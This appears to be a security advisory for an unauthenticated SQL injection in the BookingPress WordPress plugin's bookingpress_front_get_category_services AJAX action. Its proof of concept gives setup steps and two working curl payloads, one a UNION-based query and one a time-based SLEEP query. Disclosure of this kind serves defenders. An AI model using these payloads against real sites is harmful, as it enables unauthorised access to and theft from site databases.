The plugin fails to properly sanitize user supplied POST data before it is used in a dynamically constructed SQL query via the bookingpress_front_get_category_services AJAX action (available to unauthenticated users), leading to an unauthenticated SQL Injection
Proof of Concept
- Create a new "category" and associate it with a new "service" via the BookingPress admin menu (/wp-admin/admin.php?page=bookingpress_services)
- Create a new page with the "[bookingpress_form]" shortcode embedded (the "BookingPress Step-by-step Wizard Form")
- Visit the just created page as an unauthenticated user and extract the "nonce" (view source -> search for "action:'bookingpress_front_get_category_services'")
- Invoke the following curl command
curl -i 'https://example.com/wp-admin/admin-ajax.php' \
--data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
Time based payload: curl -i 'https://example.com/wp-admin/admin-ajax.php' \
--data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=1&total_service=1) AND (SELECT 9578 FROM (SELECT(SLEEP(5)))iyUp)-- ZmjH'